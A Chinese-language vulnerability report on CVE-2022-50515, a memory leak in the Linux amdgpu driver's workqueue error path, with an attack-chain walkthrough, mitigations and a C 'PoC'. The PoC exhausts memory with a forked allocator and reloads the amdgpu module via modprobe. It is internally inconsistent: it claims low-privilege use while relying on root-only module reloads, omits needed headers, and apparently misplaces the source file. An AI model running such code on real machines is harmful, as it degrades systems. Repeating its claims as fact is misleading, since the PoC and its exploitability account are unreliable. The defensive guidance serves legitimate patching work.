IPBUF安全漏洞报告
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CVE-2022-50515 CVSS 5.5 中危

CVE-2022-50515 Linux内核amdgpu驱动hpd_rx_irq内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50515
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核drm/amdgpu驱动

相关标签

内存泄漏Linux内核amdgpudrmGPU驱动AMD本地提权拒绝服务资源泄漏内核漏洞

漏洞概述

CVE-2022-50515是Linux内核AMD GPU驱动(drm/amdgpu)中存在的一个内存泄漏漏洞。该漏洞位于hpd_rx_irq_create_workqueue()函数中,在处理热插拔检测接收中断(HPD RX IRQ)的离线工作时被触发。

在AMD GPU驱动的初始化过程中,系统需要创建一组工作队列(workqueue)数组来处理HPD RX中断的离线工作负载。这些工作队列用于异步处理GPU热插拔事件,确保系统能够正确响应显示设备的连接和断开。然而,当创建工作队列数组的过程中发生失败时(例如由于内存分配失败等原因),驱动程序未能正确执行清理操作。具体而言,已经成功创建的工作队列未被销毁,为hpd_rx_irq_offload_work_queue结构体数组分配的内存也未被释放。

这种资源泄漏会导致内核内存逐渐耗尽,特别是在频繁触发GPU热插拔事件或反复初始化GPU驱动的场景下。攻击者可以通过本地低权限访问,利用该漏洞持续消耗系统内存资源,最终可能导致系统性能下降或触发内核的内存不足(OOM)机制,从而影响系统可用性。该漏洞的CVSS评分为5.5,属于中等严重等级,攻击者需要本地低权限访问即可利用,无需用户交互。

技术细节

该漏洞的技术原理涉及Linux内核AMD GPU驱动中的工作队列管理机制。

在amdgpu驱动初始化过程中,hpd_rx_irq_create_workqueue()函数负责为每个HPD(Hot Plug Detection)接收器创建一个工作队列。工作队列是Linux内核中用于异步执行任务的机制,允许驱动程序将耗时操作推迟到进程上下文执行。

漏洞的根本原因在于错误处理路径不完整。当使用alloc_workqueue()创建工作队列的循环过程中,如果某一次调用失败(例如由于系统内存压力),函数会返回一个错误码,但在此之前已经成功创建的工作队列没有被逐个销毁(通过destroy_workqueue()),同时为work_queue结构体数组分配的内存也没有被释放(通过kfree())。

攻击利用方式:
1. 攻击者需要拥有系统的本地低权限访问权限;
2. 通过触发AMD GPU驱动的初始化或重新初始化流程(例如通过加载/卸载amdgpu模块);
3. 在内存压力条件下,使alloc_workqueue()调用失败;
4. 观察内核内存使用量的持续增长;
5. 反复执行上述步骤以耗尽系统内存;
6. 最终触发内核OOM killer或导致系统不稳定。

该漏洞的影响主要体现在可用性方面(CVSS向量中A:H),由于每次泄漏的内存量相对较小,攻击者需要持续触发才能造成显著影响。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者需要拥有目标系统的本地低权限访问权限(PR:L),可以通过已获得的shell账户或利用其他漏洞获取本地访问。
STEP 2
步骤2:创建内存压力
攻击者通过分配大量内存资源,使系统处于内存压力状态,增加alloc_workqueue()调用失败的可能性。
STEP 3
步骤3:触发GPU驱动初始化
通过modprobe命令卸载并重新加载amdgpu内核模块,触发hpd_rx_irq_create_workqueue()函数的执行。
STEP 4
步骤4:触发内存泄漏
在内存压力条件下,工作队列创建循环中的某次alloc_workqueue()调用失败,导致已创建的工作队列和分配的内存未被释放。
STEP 5
步骤5:持续消耗内存
攻击者反复执行步骤2-4,持续累积内存泄漏,逐渐耗尽系统可用内存。
STEP 6
步骤6:影响系统可用性
当系统内存耗尽时,触发内核OOM killer杀死关键进程,或导致系统性能严重下降、响应迟缓。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2022-50515 - Linux Kernel amdgpu memory leak // This PoC demonstrates the memory leak by repeatedly triggering // amdgpu module initialization under memory pressure conditions. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> /* * The vulnerability exists in hpd_rx_irq_create_workqueue() in * drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c * * When workqueue creation fails mid-loop, previously created * workqueues are not destroyed, causing memory leaks. * * To trigger this PoC: * 1. Run with low privileges (PR:L required) * 2. Create memory pressure to force alloc_workqueue() to fail * 3. Reload the amdgpu module to trigger hpd_rx_irq_create_workqueue() */ int main(int argc, char *argv[]) { int ret; pid_t pid; printf("CVE-2022-50515 PoC - amdgpu memory leak\n"); /* Fork a process to consume memory and create pressure */ pid = fork(); if (pid == 0) { /* Child: consume memory to create pressure */ size_t total = 0; while (1) { void *p = malloc(1024 * 1024); /* 1MB chunks */ if (!p) break; memset(p, 0, 1024 * 1024); total += 1024 * 1024; } printf("Consumed %zu bytes of memory\n", total); pause(); return 0; } /* Wait for memory pressure to build up */ sleep(2); /* Try to reload amdgpu module to trigger the vulnerable code path */ printf("Attempting to reload amdgpu module...\n"); ret = system("modprobe -r amdgpu 2>/dev/null"); if (ret != 0) { printf("Failed to remove amdgpu module (may not be loaded)\n"); } ret = system("modprobe amdgpu 2>/dev/null"); if (ret != 0) { printf("Failed to load amdgpu module\n"); kill(pid, SIGKILL); return 1; } printf("Module reloaded. Check kernel memory for leaks.\n"); printf("Repeat the process to accumulate memory leaks.\n"); /* Clean up */ kill(pid, SIGKILL); waitpid(pid, NULL, 0); return 0; }

影响范围

Linux内核 < 5.15.72
Linux内核 5.16.x < 5.16.58
Linux内核 5.17.x < 5.17.14
Linux内核 5.18.x < 5.18.3
Linux内核drm/amdgpu驱动受影响版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对amdgpu内核模块的访问权限,通过配置udev规则或文件权限防止非特权用户触发模块重载;2)监控系统内存使用情况,设置内存使用阈值告警;3)在关键系统中禁用amdgpu模块的自动加载功能;4)使用cgroups限制单个用户的内存使用上限,防止恶意消耗系统内存;5)定期检查内核日志,关注内存分配失败相关的错误信息。

参考链接

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